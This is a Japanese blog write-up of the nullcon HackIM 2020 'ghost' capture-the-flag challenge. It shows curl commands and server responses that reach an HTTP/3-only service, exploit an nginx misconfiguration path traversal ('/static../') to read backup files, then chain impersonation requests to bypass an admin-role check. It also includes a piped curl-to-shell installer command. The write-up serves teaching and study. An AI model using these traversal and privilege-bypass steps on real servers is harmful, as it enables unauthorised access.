こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

nullcon HackIM 2020 Writeup - ghost

Question

Ever had a scary feeling when you are alone that there is something in the room, but you cant see it with your eyes alone?

Don't be scared to probe at - https://web1.ctf.nullcon.net:8443/

Note: Challenge Is Not Down

Solution

Stage1

ChromeでURLにアクセスしてもERR_CONNECTION_REFUSEDが発生する。

ヒントを見ると、女性が1,2,3のカウントをしているgif画像が表示される。
HTTP/3で接続すると繋がるのではと推測する。

curlコマンドでHTTP/3接続するには、HTTP/3対応版のcurlを自分でビルドする必要がある。

HTTP/3対応のcurlインストール

ビルドに必要なパッケージやライブラリをあらかじめインストールしておく。

$ apt install cmake autoconf libtool pkg-config

# RUSTのインストール(cargoコマンドが必要であるため)
$ curl https://sh.rustup.rs -sSf | sh

# golangのインストール
# https://golang.org/dl/ からtar.gzをダウンロード
$ tar -C /usr/local -xzf go1.13.7.linux-amd64.tar.gz
$ export PATH=$PATH:/usr/local/go/bin

以下のページを見ながらビルドを進める。
curl/HTTP3.md at master · curl/curl · GitHub

最後にmake installする。その後、ターミナルの再起動が必要かもしれない。
環境を汚すのが嫌な場合は、./src/curlをそのまま使ってもよい。

成功すると、FeaturesにHTTP3を確認できる。

root@kali:~# curl -V
curl 7.69.0-DEV (x86_64-pc-linux-gnu) libcurl/7.69.0-DEV BoringSSL zlib/1.2.11 quiche/0.2.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp 
Features: alt-svc AsynchDNS HTTP3 HTTPS-proxy IPv6 Largefile libz NTLM NTLM_WB SSL UnixSockets

攻略

--http3オプションを付けてcurlコマンドを実行すると、推測通りアクセスできた。

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/ -v
*   Trying 139.59.34.79:8443...
* Sent QUIC client Initial, ALPN: h3-25h3-24h3-23
* h3 [:method: GET]
* h3 [:path: /]
* h3 [:scheme: https]
* h3 [:authority: web1.ctf.nullcon.net:8443]
* h3 [user-agent: curl/7.69.0-DEV]
* h3 [accept: */*]
* Using HTTP/3 Stream ID: 0 (easy handle 0x55e190e16850)
> GET / HTTP/3
> Host: web1.ctf.nullcon.net:8443
> user-agent: curl/7.69.0-DEV
> accept: */*
> 
< HTTP/3 200
< server: nginx/1.16.1
< date: Sat, 08 Feb 2020 05:00:19 GMT
< content-type: text/html
< content-length: 374
< last-modified: Wed, 05 Feb 2020 19:18:19 GMT
< etag: "5e3b14fb-176"
< alt-svc: h3-23=":443"; ma=86400
< accept-ranges: bytes
< 
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>How are you here?</title>
 
</head>
<body>


<center><h1>Shit! </h1>
<h3>How on earth did you reach here?</h3>
<h3>We added another layer of security to so we dont get hacked. Can you breach that also?</h3>
<img src="/static/giphy.gif"></img>
</center>

<!-- No need to bruteforce# -->

</body>
</html>

* Connection #0 to host web1.ctf.nullcon.net left intact

staticディレクトリを確認すると、ディレクトリリスティングが有効であることがわかる。

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static/
<html>
<head><title>Index of /static/</title></head>
<body>
<h1>Index of /static/</h1><hr><pre><a href="../">../</a>
<a href="giphy.gif">giphy.gif</a>                                          05-Feb-2020 19:18             5801332
</pre><hr></body>
</html>

nginxには設定ミスによりパストラバーサルが可能な脆弱性が生まれる。
(2019年のwriteupまとめ記事でも紹介済み)
https://graneed.hatenablog.com/entry/2019/12/29/115100#nginx%E3%81%AE%E8%A8%AD%E5%AE%9A%E4%B8%8D%E5%82%99

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static../
<html>
<head><title>Index of /static../</title></head>
<body>
<h1>Index of /static../</h1><hr><pre><a href="../">../</a>
<a href="backup/">backup/</a>                                            05-Feb-2020 19:18                   -
<a href="html/">html/</a>                                              05-Feb-2020 19:18                   -
<a href="static/">static/</a>                                            05-Feb-2020 19:18                   -
</pre><hr></body>
</html>

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static../backup/
<html>
<head><title>Index of /static../backup/</title></head>
<body>
<h1>Index of /static../backup/</h1><hr><pre><a href="../">../</a>
<a href="links.txt">links.txt</a>                                          05-Feb-2020 19:18                 277
<a href="nginx.conf">nginx.conf</a>                                         05-Feb-2020 19:18                1242
</pre><hr></body>
</html>

root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static../backup/links.txt
To signup
http://localhost/check.php?signup=true&name=asd

To Impersonate a person
http://localhost/check.php?impersonator=asd&impersonatee=check

To umimpersonate a person
http://localhost/check.php?unimpersonate=asd-admin

To get status
http://localhost/check.php?status=asd

/check.phpというURLが存在することがわかる。次にこちらを攻める。

Stage2

/check.phpは、パラメータによって機能が変わるようだ。

サインアップしてステータス確認すると、パラメータで指定したnameのユーザに加えて、nameの末尾に-adminが付いたadmin roleを持つユーザが作成されていることがわかる。

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?signup=true&name=asd"
<center><h1>Welcome to password less authentication system</h1></center>Please become admin, username: asd-admin 

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?status=asd"
<center><h1>Welcome to password less authentication system</h1></center>
name: asd</br>
impersonating: </br>
role: user</br>
admin name: asd-admin</br>
admin role: admin</br>
Please become admin, username: asd-admin 

impersonatorで指定したユーザを、impersonateeで指定したユーザに成りすましができるようだ。

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd&impersonatee=check"
<center><h1>Welcome to password less authentication system</h1></center>You are not admin

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?status=asd"
<center><h1>Welcome to password less authentication system</h1></center>
name: asd</br>
impersonating: check</br>
role: user</br>
admin name: asd-admin</br>
admin role: admin</br>
You are not admin

adminのロールをもつユーザには成りすましできないようチェックされている。

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd&impersonatee=asd-admin"
<center><h1>Welcome to password less authentication system</h1></center>cannot impersonate admin role

そこで、adminのロールを持つユーザを、userのロールを持つユーザに成りすませた状態であれば、このチェックをバイパスして、成りすましが可能と推測する。その後、adminのロールを持つユーザの成りすましを解除すればよい。

手順を整理すると以下のとおり。

  1. asd-adminasdに成りすまし。
  2. asdasd-adminに成りすまし。
  3. asd-adminの成りすましを解除。
  4. asdasd-adminに成りすましたままなので、admin roleを持つ。
root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?signup=true&name=asd"
<center><h1>Welcome to password less authentication system</h1></center>Please become admin, username: asd-admin 

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd-admin&impersonatee=asd"
<center><h1>Welcome to password less authentication system</h1></center>You are not admin 

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd&impersonatee=asd-admin"
<center><h1>Welcome to password less authentication system</h1></center>You admin role is not admin

root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?unimpersonate=asd-admin"
<center><h1>Welcome to password less authentication system</h1></center>hackim20{We_Never_Thought_it_Was_That_Vulnerable}

フラグゲット。
hackim20{We_Never_Thought_it_Was_That_Vulnerable}